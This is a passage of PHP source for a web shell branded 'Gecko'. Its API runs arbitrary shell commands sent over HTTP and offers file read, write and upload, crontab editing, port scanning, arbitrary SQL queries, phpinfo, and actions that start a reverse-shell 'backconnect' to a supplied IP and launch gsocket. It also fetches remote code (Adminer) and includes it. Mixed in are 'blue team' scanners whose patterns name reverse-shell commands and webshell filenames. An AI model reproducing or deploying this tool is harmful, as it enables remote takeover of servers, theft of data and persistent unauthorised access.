        $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 7 -type f \( -perm -0002 -o -perm -0777 \) -ls 2>/dev/null | head -50';
        $out = runTerminal($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
        $cmd2 = 'find ' . escapeshellarg($root) . ' -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30';
        $out2 = runTerminal($cmd2, $baseDir);
        if (trim($out2['output']) !== '') {
            $lines[] = 'World-writable directories:';
            $lines[] = trim($out2['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = $isWin ? '(Linux permission scan only)' : '(no world-writable files found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function btHiddenScan($baseDir, $scanPath)
{
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $lines = array('=== HIDDEN / DOT FILES (executable scripts) ===', '');
    foreach ($roots as $root) {
        if ($isWin) continue;
        $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 -name ".*" -type f \( -name "*.php*" -o -name "*.pl" -o -name "*.sh" -o -name "*.py" -o -name ".htaccess" -o -name ".user.ini" \) -ls 2>/dev/null | head -50';
        $out = runTerminal($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = '(no suspicious hidden scripts found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function btCronAudit($baseDir)
{
    $cron = getCrontab();
    $lines = array('=== CRON PERSISTENCE AUDIT ===', 'Platform: ' . $cron['platform'], '');
    $suspicious = array(
        '/\bcurl\b.*\|\s*(ba)?sh/is', '/\bwget\b.*\|\s*(ba)?sh/is',
        '/\/dev\/tcp\//is', '/\bbash\s+-i/is', '/\bnc\s+-/is',
        '/base64\s+-d/is', '/\beval\b/is', '/\bpython\s+-c/is',
        '/\bperl\s+-e/is', '/\b\/tmp\//is', '/\bchmod\s+\+x/is',
        '/gsocket/is', '/\breverse\b/is', '/\bbackdoor\b/is',
    );
    $content = $cron['content'];
    if (trim($content) === '') {
        $lines[] = '(empty crontab)';
    } else {
        $ln = 0;
        foreach (explode("\n", $content) as $line) {
            $line = trim($line);
            if ($line === '' || $line[0] === '#') continue;
            $ln++;
            $flags = array();
            foreach ($suspicious as $pat) {
                if (preg_match($pat, $line)) $flags[] = 'SUSPICIOUS';
            }
            $prefix = empty($flags) ? '[OK]   ' : '[WARN] ';
            $lines[] = $prefix . $line;
        }
        if ($ln === 0) $lines[] = '(no active cron entries)';
    }
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if (!$isWin) {
        $etc = runTerminal('ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30', $baseDir);
        $lines[] = '';
        $lines[] = '=== /etc/cron* (sample) ===';
        $lines[] = trim($etc['output']);
    }
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function btLogAudit($baseDir)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $lines = array('=== AUTH / SECURITY LOG AUDIT ===', '');
    if ($isWin) {
        $out = runTerminal('wevtutil qe Security /c:20 /rd:true /f:text 2>nul', $baseDir);
        $lines[] = trim($out['output']) ?: '(Windows event query unavailable)';
    } else {
        $cmds = array(
            'Failed SSH/auth (last 40)' => 'grep -iE "Failed password|Invalid user|authentication failure|refused connect" /var/log/auth.log /var/log/secure 2>/dev/null | tail -40',
            'sudo usage (last 20)' => 'grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20',
            'Web server errors (last 20)' => 'grep -iE "eval|base64|shell|cmd=|/etc/passwd" /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20',
        );
        foreach ($cmds as $label => $cmd) {
            $out = runTerminal($cmd, $baseDir);
            $lines[] = '--- ' . $label . ' ---';
            $lines[] = trim($out['output']) ?: '(no entries or log not accessible)';
            $lines[] = '';
        }
    }
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function btIocScan($baseDir, $scanPath)
{
    $roots = btGetScanRoots($baseDir, $scanPath);
    $iocs = array('c99','r57','wso','b374k','shell','backdoor','cmd','uploader','alfa','indoxploit','mini','hack','exploit','webshell','c100','r00t','anonymous','leaf','marijuana','fox','upl');
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $lines = array('=== IOC FILENAME HUNT ===', '');
    $found = 0;
    foreach ($roots as $root) {
        if (!$isWin) {
            $nameExpr = array();
            foreach ($iocs as $ioc) {
                $nameExpr[] = '-iname ' . escapeshellarg('*' . $ioc . '*.php');
                $nameExpr[] = '-iname ' . escapeshellarg('*' . $ioc . '*.phtml');
            }
            $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 \( ' . implode(' -o ', $nameExpr) . ' \) -type f 2>/dev/null | head -40';
            $out = runTerminal($cmd, $baseDir);
            if (trim($out['output']) !== '') {
                $lines[] = '--- ' . $root . ' ---';
                $lines[] = trim($out['output']);
                $found += substr_count($out['output'], "\n") + 1;
                $lines[] = '';
            }
        }
    }
    if ($found === 0) $lines[] = '(no IOC filename matches)';
    return array('ok' => true, 'output' => implode("\n", $lines), 'count' => $found);
}

function btSuspiciousProcess($baseDir)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        $out = runTerminal('tasklist /V', $baseDir);
    } else {
        $out = runTerminal('ps auxww 2>/dev/null | grep -iE "nc |/dev/tcp|python -c|perl -e|bash -i|gsocket|cryptominer|xmrig|masscan|sqlmap" | grep -v grep', $baseDir);
        if (trim($out['output']) === '') {
            $out['output'] = "(no suspicious process patterns matched)\n\nFull process list (top 30):\n" . runTerminal('ps auxww 2>/dev/null | head -30', $baseDir)['output'];
        }
    }
    return array('ok' => true, 'output' => "=== SUSPICIOUS PROCESS SCAN ===\n\n" . $out['output']);
}

function btFullAudit($baseDir, $scanPath)
{
    @set_time_limit(600);
    $parts = array();
    $r1 = btWebshellScan($baseDir, $scanPath, true);
    $parts[] = $r1['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btRecentChanges($baseDir, $scanPath, 7)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btWritableScan($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btHiddenScan($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btCronAudit($baseDir)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btIocScan($baseDir, $scanPath)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btSuspiciousProcess($baseDir)['output'];
    $parts[] = str_repeat('-', 60);
    $parts[] = btLogAudit($baseDir)['output'];
    return array(
        'ok' => true,
        'output' => implode("\n\n", $parts),
        'count' => isset($r1['count']) ? $r1['count'] : 0,
        'critical' => isset($r1['critical']) ? $r1['critical'] : 0,
    );
}

function runBlueTool($tool, $input, $baseDir)
{
    $tool = strtolower(trim((string)$tool));
    $scanPath = (string)_v($input, 'path', '');
    $days = (int)_v($input, 'days', 7);
    switch ($tool) {
        case 'backdoor':
            $aggressive = _v($input, 'aggressive', true);
            return btWebshellScan($baseDir, $scanPath, $aggressive);
        case 'delete_threats':
            $paths = _v($input, 'paths', array());
            if (is_string($paths)) {
                $decoded = json_decode($paths, true);
                $paths = is_array($decoded) ? $decoded : array($paths);
            }
            return btDeleteThreats($baseDir, $paths);
        case 'quarantine_list':
            return btListQuarantine($baseDir);
        case 'restore_threats':
            $ids = _v($input, 'ids', array());
            if (is_string($ids)) {
                $decoded = json_decode($ids, true);
                $ids = is_array($decoded) ? $decoded : array($ids);
            }
            return btRestoreThreats($baseDir, $ids);
        case 'fullaudit':
            return btFullAudit($baseDir, $scanPath);
        case 'recent':
            return btRecentChanges($baseDir, $scanPath, $days);
        case 'writable':
            return btWritableScan($baseDir, $scanPath);
        case 'hidden':
            return btHiddenScan($baseDir, $scanPath);
        case 'cron':
            return btCronAudit($baseDir);
        case 'logs':
            return btLogAudit($baseDir);
        case 'ioc':
            return btIocScan($baseDir, $scanPath);
        case 'process':
            return btSuspiciousProcess($baseDir);
        default:
            return array('ok' => false, 'error' => 'Unknown blue team tool');
    }
}

function dbMakePdo($type, $host, $port, $user, $pass, $db)
{
    $type = strtolower(trim((string)$type));
    $host = trim((string)$host);
    $user = (string)$user;
    $pass = (string)$pass;
    $db = trim((string)$db);
    $port = (int)$port;
    if (!class_exists('PDO')) {
        return array('ok' => false, 'error' => 'PDO extension not available');
    }
    try {
        if ($type === 'sqlite') {
            if ($db === '') {
                return array('ok' => false, 'error' => 'Database file path required');
            }
            $pdo = new PDO('sqlite:' . $db);
        } elseif ($type === 'mysql') {
            if ($host === '') $host = '127.0.0.1';
            if ($port <= 0) $port = 3306;
            $dsn = 'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4';
            $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
        } elseif ($type === 'pgsql') {
            if ($host === '') $host = '127.0.0.1';
            if ($port <= 0) $port = 5432;
            $dsn = 'pgsql:host=' . $host . ';port=' . $port . ';dbname=' . $db;
            $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
        } else {
            return array('ok' => false, 'error' => 'Unsupported DB type');
        }
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return array('ok' => true, 'pdo' => $pdo);
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

function dbRunQuery($type, $host, $port, $user, $pass, $db, $sql)
{
    $sql = trim((string)$sql);
    if ($sql === '') {
        return array('ok' => false, 'error' => 'Empty query');
    }
    $conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
    if (!$conn['ok']) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn['pdo'];
    try {
        $stmt = $pdo->query($sql);
        if ($stmt === false) {
            return array('ok' => true, 'type' => 'exec', 'affected' => $pdo->lastInsertId(), 'message' => 'Query executed');
        }
        $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
        $cols = array();
        if (!empty($rows)) {
            $cols = array_keys($rows[0]);
        } else {
            $colCount = $stmt->columnCount();
            for ($i = 0; $i < $colCount; $i++) {
                $meta = $stmt->getColumnMeta($i);
                if ($meta && isset($meta['name'])) $cols[] = $meta['name'];
            }
        }
        return array('ok' => true, 'type' => 'select', 'columns' => $cols, 'rows' => $rows, 'count' => count($rows));
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

function dbListTables($type, $host, $port, $user, $pass, $db)
{
    $conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
    if (!$conn['ok']) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn['pdo'];
    $type = strtolower(trim((string)$type));
    try {
        if ($type === 'mysql') {
            $stmt = $pdo->query('SHOW TABLES');
        } elseif ($type === 'pgsql') {
            $stmt = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public' ORDER BY tablename");
        } elseif ($type === 'sqlite') {
            $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name");
        } else {
            return array('ok' => false, 'error' => 'Unsupported DB type');
        }
        $tables = array();
        while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
            $tables[] = $row[0];
        }
        return array('ok' => true, 'tables' => $tables);
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

// Helper untuk akses array yang aman (pengganti operator ??)
function _v($arr, $key, $default = '') {
    return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}

// Handle download requests
if (isset($_GET['download'])) {
    $path = resolvePath($baseDir, (string)$_GET['download']);
    if (!$path || is_dir($path)) { http_response_code(404); exit('Not found'); }
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($path) . '"');
    header('Content-Length: ' . filesize($path));
    readfile($path); exit;
}

// Handle inline view requests (image preview, raw text view)
if (isset($_GET['view'])) {
    $path = resolvePath($baseDir, (string)$_GET['view']);
    if (!$path || is_dir($path)) { http_response_code(404); exit('Not found'); }

    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $mimes = array(
        'png'  => 'image/png',
        'jpg'  => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'gif'  => 'image/gif',
        'webp' => 'image/webp',
        'svg'  => 'image/svg+xml',
        'ico'  => 'image/x-icon',
        'bmp'  => 'image/bmp',
        'avif' => 'image/avif',
        'pdf'  => 'application/pdf',
    );
    $mime = isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream';

    header('Content-Type: ' . $mime);
    header('Content-Length: ' . filesize($path));
    header('X-Content-Type-Options: nosniff');
    header('Content-Disposition: inline; filename="' . basename($path) . '"');
    header('Cache-Control: private, max-age=300');
    readfile($path);
    exit;
}

// Adminer — single-file DB manager (cached locally)
if (isset($_GET['adminer'])) {
    $adminerFile = __DIR__ . DIRECTORY_SEPARATOR . '.adminer.php';
    if (!is_file($adminerFile)) {
        $ctx = stream_context_create(array('http' => array('timeout' => 15)));
        $data = @file_get_contents('https://www.adminer.org/latest.php', false, $ctx);
        if ($data && strlen($data) > 1000) {
            @file_put_contents($adminerFile, $data);
        }
    }
    if (is_file($adminerFile)) {
        include $adminerFile;
        exit;
    }
    http_response_code(503);
    echo 'Adminer unavailable (download failed). Use built-in DB Manager.';
    exit;
}

if (isset($_GET['phpinfo'])) {
    phpinfo();
    exit;
}

// Handle API requests
if (isset($_GET['api'])) {
    $contentType = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
    $hasJson = strpos($contentType, 'application/json') !== false;

    if ($hasJson) {
        $raw = file_get_contents('php://input');
        if (!$raw) $raw = '{}';
        $decoded = json_decode($raw, true);
        $input = is_array($decoded) ? $decoded : array();
    } else {
        $input = $_POST;
    }

    $action = (string)_v($input, 'action', _v($_GET, 'action', 'list'));

    switch ($action) {
        case 'list':
            $rel = sanitizeRelPath((string)_v($input, 'path', ''));

            // Determine the directory to list
            if (preg_match('/^[A-Za-z]:\//', $rel)) {
                // Absolute Windows path
                $dir = str_replace('/', DIRECTORY_SEPARATOR, $rel);
            } elseif (strlen($rel) > 0 && $rel[0] === '/') {
                // Absolute Linux path
                $dir = $rel;
            } elseif ($rel === '') {
                // Default base directory
                $dir = $baseDir;
            } else {
                // Relative path
                $dir = resolvePath($baseDir, $rel);
            }

            if (!$dir || !is_dir($dir)) {
                jsonOut(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403);
            }

            jsonOut(array(
                'ok' => true,
                'path' => $rel,
                'entries' => listEntries($dir),
                'disk' => array(
                    'free' => @disk_free_space($dir),
                    'total' => @disk_total_space($dir),
                ),
            ));
            break;

        case 'read':
            $path = resolvePath($baseDir, (string)_v($input, 'path', ''));
            if (!$path || is_dir($path)) jsonOut(array('ok' => false, 'error' => 'File not found'), 404);
            $sz = filesize($path);
            if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array('ok' => false, 'error' => 'File too large or binary'), 400);
            jsonOut(array(
                'ok' => true,
                'content' => file_get_contents($path),
                'editable' => isTextFile($path),
                'size' => filesize($path),
                'modified' => filemtime($path),
            ));
            break;

        case 'save':
            $path = resolvePath($baseDir, (string)_v($input, 'path', ''));
            if (!$path || is_dir($path)) jsonOut(array('ok' => false, 'error' => 'File not found'), 404);
            if (file_put_contents($path, (string)_v($input, 'content', '')) === false) jsonOut(array('ok' => false, 'error' => 'Write failed'), 500);
            jsonOut(array('ok' => true, 'modified' => filemtime($path)));
            break;

        case 'mkdir':
            $rel = sanitizeRelPath((string)_v($input, 'path', ''));
            $name = basename(str_replace('\\', '/', (string)_v($input, 'name', '')));
            if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) jsonOut(array('ok' => false, 'error' => 'Invalid name'), 400);
            $parent = resolvePath($baseDir, $rel);
            if (!$parent || !is_dir($parent)) jsonOut(array('ok' => false, 'error' => 'Invalid directory'), 403);
            $new = $parent . DIRECTORY_SEPARATOR . $name;
            if (file_exists($new)) jsonOut(array('ok' => false, 'error' => 'Already exists'), 409);
            if (!@mkdir($new, 0755)) jsonOut(array('ok' => false, 'error' => 'Create failed'), 500);
            jsonOut(array('ok' => true));
            break;

        case 'create_file':
            $rel = sanitizeRelPath((string)_v($input, 'path', ''));
            $name = basename(str_replace('\\', '/', (string)_v($input, 'name', '')));
            if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) jsonOut(array('ok' => false, 'error' => 'Invalid name'), 400);
            $parent = resolvePath($baseDir, $rel);
            if (!$parent || !is_dir($parent)) jsonOut(array('ok' => false, 'error' => 'Invalid directory'), 403);
            $new = $parent . DIRECTORY_SEPARATOR . $name;
            if (file_exists($new)) jsonOut(array('ok' => false, 'error' => 'Already exists'), 409);
            if (file_put_contents($new, (string)_v($input, 'content', '')) === false) jsonOut(array('ok' => false, 'error' => 'Create failed'), 500);
            jsonOut(array('ok' => true));
            break;

        case 'delete':
            $path = resolvePath($baseDir, (string)_v($input, 'path', ''));
            if (!$path || $path === $baseDir) jsonOut(array('ok' => false, 'error' => 'Cannot delete'), 403);
            $ok = is_dir($path) ? @rmdir($path) : @unlink($path);
            if (!$ok) jsonOut(array('ok' => false, 'error' => 'Delete failed (folder must be empty)'), 500);
            jsonOut(array('ok' => true));
            break;

        case 'rename':
            $path = resolvePath($baseDir, (string)_v($input, 'path', ''));
            $newName = basename(str_replace('\\', '/', (string)_v($input, 'new_name', '')));
            if (!$path || $newName === '' || preg_match('/[<>:"|?*\\\\\/]/', $newName)) jsonOut(array('ok' => false, 'error' => 'Invalid request'), 400);
            $dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
            if (file_exists($dest)) jsonOut(array('ok' => false, 'error' => 'Name taken'), 409);
            if (!@rename($path, $dest)) jsonOut(array('ok' => false, 'error' => 'Rename failed'), 500);
            jsonOut(array('ok' => true, 'new_path' => ltrim(str_replace('\\', '/', substr($dest, strlen($baseDir))), '/')));
            break;

        case 'chmod':
            $path = resolvePath($baseDir, (string)_v($input, 'path', ''));
            if (!$path) jsonOut(array('ok' => false, 'error' => 'File not found'), 404);
            $permString = (string)_v($input, 'perm', '');
            if (!preg_match('/^[0-7]{3,4}$/', $permString)) {
                jsonOut(array('ok' => false, 'error' => 'Invalid permission format. Use octal (e.g., 755 or 0644)'), 400);
            }
            $octalPerm = octdec($permString);
            if (!@chmod($path, (int)$octalPerm)) {
                jsonOut(array('ok' => false, 'error' => 'Failed to change permissions'), 500);
            }
            clearstatcache(true, $path);
            $newPerm = substr(sprintf('%o', fileperms($path)), -4);
            jsonOut(array('ok' => true, 'perm' => $newPerm));
            break;

        case 'upload':
            $rel = sanitizeRelPath((string)_v($_POST, 'path', ''));
            $parent = resolvePath($baseDir, $rel);

            if (!$parent || !is_dir($parent)) {
                jsonOut(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403);
            }

            if (empty($_FILES['file'])) {
                jsonOut(array('ok' => false, 'error' => 'No file uploaded'), 400);
            }

            $f = $_FILES['file'];
            if ($f['error'] !== UPLOAD_ERR_OK) {
                $errors = array(
                    UPLOAD_ERR_INI_SIZE   => 'File too large (server limit: ' . ini_get('upload_max_filesize') . ')',
                    UPLOAD_ERR_FORM_SIZE  => 'File too large (form limit)',
                    UPLOAD_ERR_PARTIAL    => 'File only partially uploaded',
                    UPLOAD_ERR_NO_FILE    => 'No file uploaded',
                    UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                    UPLOAD_ERR_CANT_WRITE => 'Failed to write file',
                    UPLOAD_ERR_EXTENSION  => 'Upload blocked by extension',
                );
                $errorMsg = isset($errors[$f['error']]) ? $errors[$f['error']] : ('Unknown upload error (code: ' . $f['error'] . ')');
                jsonOut(array('ok' => false, 'error' => $errorMsg), 400);
            }

            $name = basename($f['name']);
            $name = preg_replace('/[<>:"|?*\\\\\/]/', '', $name);
            $name = trim($name);

            if ($name === '') {
                jsonOut(array('ok' => false, 'error' => 'Invalid filename'), 400);
            }

            $dest = $parent . DIRECTORY_SEPARATOR . $name;
            if (file_exists($dest)) {
                $info = pathinfo($name);
                $filename = isset($info['filename']) ? $info['filename'] : $name;
                $extension = isset($info['extension']) ? $info['extension'] : '';
                $name = $filename . '_' . time() . ($extension !== '' ? '.' . $extension : '');
                $dest = $parent . DIRECTORY_SEPARATOR . $name;
            }

            if (!move_uploaded_file($f['tmp_name'], $dest)) {
                jsonOut(array('ok' => false, 'error' => 'Failed to save file. Check folder permissions.'), 500);
            }

            @chmod($dest, 0644);
            jsonOut(array('ok' => true, 'name' => $name, 'message' => 'Upload successful'));
            break;

        case 'search':
            $query = trim((string)_v($input, 'query', ''));
            if ($query === '') jsonOut(array('ok' => true, 'results' => array()));
            $results = array(); $count = 0;
            searchFiles($baseDir, sanitizeRelPath((string)_v($input, 'path', '')), $query, $results, $count);
            jsonOut(array('ok' => true, 'results' => $results));
            break;

        case 'terminal':
            $rel = sanitizeRelPath((string)_v($input, 'path', ''));
            $cwd = resolvePath($baseDir, $rel);
            if (!$cwd || !is_dir($cwd)) jsonOut(array('ok' => false, 'error' => 'Invalid cwd'), 403);
            $command = trim((string)_v($input, 'command', ''));
            if ($command === '') jsonOut(array('ok' => false, 'error' => 'Empty command'), 400);
            $result = runTerminal($command, $cwd);
            jsonOut(array('ok' => true, 'output' => $result['output'], 'exit_code' => $result['exit_code'], 'cwd' => $rel));
            break;

        case 'drives':
            $drives = array();
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                for ($i = 67; $i <= 90; $i++) {
                    $drive = chr($i) . ':/';
                    if (@is_dir($drive)) {
                        $free = @disk_free_space($drive);
                        $total = @disk_total_space($drive);
                        $drives[] = array(
                            'letter' => chr($i) . ':',
                            'path' => $drive,
                            'free' => $free ? $free : 0,
                            'total' => $total ? $total : 0,
                            'label' => chr($i) . ':\\',
                        );
                    }
                }
            } else {
                // Linux/Mac - show root and common paths
                $commonPaths = array(
                    '/' => 'Root (/)',
                    '/home' => 'Home (/home)',
                    '/var' => 'Var (/var)',
                    '/etc' => 'Etc (/etc)',
                    '/usr' => 'Usr (/usr)',
                    '/tmp' => 'Tmp (/tmp)',
                );

                foreach ($commonPaths as $path => $label) {
                    if (@is_dir($path)) {
                        $free = @disk_free_space($path);
                        $total = @disk_total_space($path);
                        $drives[] = array(
                            'letter' => $path,
                            'path' => $path,
                            'free' => $free ? $free : 0,
                            'total' => $total ? $total : 0,
                            'label' => $label,
                        );
                    }
                }

                // Add current document root
                if (@is_dir($baseDir) && $baseDir !== '/') {
                    $free = @disk_free_space($baseDir);
                    $total = @disk_total_space($baseDir);
                    $drives[] = array(
                        'letter' => $baseDir,
                        'path' => $baseDir,
                        'free' => $free ? $free : 0,
                        'total' => $total ? $total : 0,
                        'label' => 'Document Root: ' . basename($baseDir),
                    );
                }
            }
            jsonOut(array('ok' => true, 'drives' => $drives));
            break;

        case 'info':
            jsonOut(array(
                'ok' => true,
                'php' => PHP_VERSION,
                'os' => PHP_OS,
                'base' => $baseDir,
                'disk_free' => @disk_free_space($baseDir),
                'disk_total' => @disk_total_space($baseDir),
            ));
            break;

        case 'cron_list':
            $cron = getCrontab();
            jsonOut(array(
                'ok' => true,
                'content' => $cron['content'],
                'platform' => $cron['platform'],
                'editable' => $cron['editable'],
            ));
            break;

        case 'cron_save':
            $content = (string)_v($input, 'content', '');
            $result = setCrontab($content);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut(array('ok' => true));
            break;

        case 'portscan':
            $host = trim((string)_v($input, 'host', '127.0.0.1'));
            $ports = trim((string)_v($input, 'ports', '21,22,25,80,443,3306,8080'));
            $timeout = (int)_v($input, 'timeout', 1);
            $result = scanPorts($host, $ports, $timeout);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'backconnect':
            $ip = trim((string)_v($input, 'ip', ''));
            $port = (int)_v($input, 'port', 4444);
            $method = (string)_v($input, 'method', 'bash');
            $result = startBackconnect($ip, $port, $method);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'gsocket':
            @set_time_limit(1800);
            @ini_set('max_execution_time', '1800');
            $method = (string)_v($input, 'method', 'curl');
            $result = runGsocket($method);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'db_tables':
            $result = dbListTables(
                (string)_v($input, 'type', 'mysql'),
                (string)_v($input, 'host', '127.0.0.1'),
                (int)_v($input, 'port', 3306),
                (string)_v($input, 'user', 'root'),
                (string)_v($input, 'pass', ''),
                (string)_v($input, 'db', '')
            );
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'db_query':
            $result = dbRunQuery(
                (string)_v($input, 'type', 'mysql'),
                (string)_v($input, 'host', '127.0.0.1'),
                (int)_v($input, 'port', 3306),
                (string)_v($input, 'user', 'root'),
                (string)_v($input, 'pass', ''),
                (string)_v($input, 'db', ''),
                (string)_v($input, 'sql', '')
            );
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'sec_tool':
            @set_time_limit(120);
            $tool = (string)_v($input, 'tool', 'recon');
            $result = runSecTool($tool, $input, $baseDir);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'blue_tool':
            @set_time_limit(600);
            @ini_set('max_execution_time', '600');
            $tool = (string)_v($input, 'tool', 'backdoor');
            $result = runBlueTool($tool, $input, $baseDir);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'blue_delete':
            $paths = _v($input, 'paths', array());
            if (is_string($paths)) {
                $decoded = json_decode($paths, true);
                $paths = is_array($decoded) ? $decoded : array($paths);
            }
            $result = btDeleteThreats($baseDir, $paths);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        case 'blue_quarantine_list':
            $result = btListQuarantine($baseDir);
            jsonOut($result);
            break;

        case 'blue_restore':
            $ids = _v($input, 'ids', array());
            if (is_string($ids)) {
                $decoded = json_decode($ids, true);
                $ids = is_array($decoded) ? $decoded : array($ids);
            }
            $result = btRestoreThreats($baseDir, $ids);
            if (!$result['ok']) jsonOut($result, 400);
            jsonOut($result);
            break;

        default:
            jsonOut(array('ok' => false, 'error' => 'Unknown action'), 400);
    }
    exit;
}


// Bersihkan output buffer sebelum render HTML
while (ob_get_level() > 0) {
    ob_end_clean();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Gecko · <?= $_SERVER['SERVER_NAME'] ?> </title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,300;0,14..32,400;0,14..32,500;0,14..32,600;0,14..32,700;1,14..32,400&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
/* ─── DESIGN TOKENS ───────────────────────────────────────────── */
/*  ◆  NOIR GOLD × LUXE DARK  ◆
    Ultra-deep ink, warm champagne gold accent, soft pearl text. */
:root {
  /* Ink palette — true noir, near-black with subtle warm undertone */
  --ink0: #050608;
  --ink1: #0a0b0e;
  --ink2: #101216;
  --ink3: #161920;
  --ink4: #1f232b;
  --ink5: #2a2f38;
  --ink6: #424754;
  --ink-tint: rgba(245,185,66,.020);

  /* Primary accent — Champagne Gold */
  --jade:     #f5b942;
  --jade-hi:  #ffd76e;
  --jade-lo:  #d4961f;
  --jade-dk:  #a8730e;
  --jade-bg:  rgba(245,185,66,.10);
  --jade-bd:  rgba(245,185,66,.24);
  --jade-bd2: rgba(245,185,66,.42);

  /* Semantic — warm-toned */
  --red:     #f87171;
  --red-bg:  rgba(248,113,113,.10);
  --red-bd:  rgba(248,113,113,.22);
  --amber:   #d4961f;
  --amber-bg:rgba(212,150,31,.12);
  --blue:    #79c0ff;
  --blue-bg: rgba(121,192,255,.10);
  --pink:    #ff8e8e;
  --pink-bg: rgba(255,142,142,.08);

  /* Text scale — pearl on noir */
  --tx:  #f5f1e8;
  --tx2: #d8d3c4;
  --tx3: #8a8578;
  --tx4: #61605a;

  /* Border */
  --bd:   rgba(245,185,66,.14);
  --bd2:  rgba(245,241,232,.06);
  --bd3:  rgba(245,241,232,.04);

  /* Radii */
  --r4: 4px; --r6: 6px; --r8: 8px; --r10: 10px; --r12: 12px; --r14: 14px; --r16: 16px; --r20: 20px;

  /* Type */
  --sans: "Inter", -apple-system, system-ui, sans-serif;
  --mono: "JetBrains Mono", "Fira Code", "SF Mono", Consolas, monospace;

  /* Shadows — layered for depth, no large blurs */
  --s0:  0 1px 0 rgba(255,255,255,.02) inset, 0 1px 2px rgba(0,0,0,.3);
  --s1:  0 1px 3px rgba(0,0,0,.4), 0 1px 2px rgba(0,0,0,.25);
  --s2:  0 6px 20px rgba(0,0,0,.45), 0 2px 6px rgba(0,0,0,.3);
  --s3:  0 18px 50px rgba(0,0,0,.55), 0 6px 16px rgba(0,0,0,.4);
  --s-jade: 0 0 0 1px var(--jade-bd), 0 4px 16px rgba(245,185,66,.24);
  --s-jade-soft: 0 0 0 3px var(--jade-bg);

  /* Layout */
  --topbar-h: 60px;
  --sidebar-w: 240px;
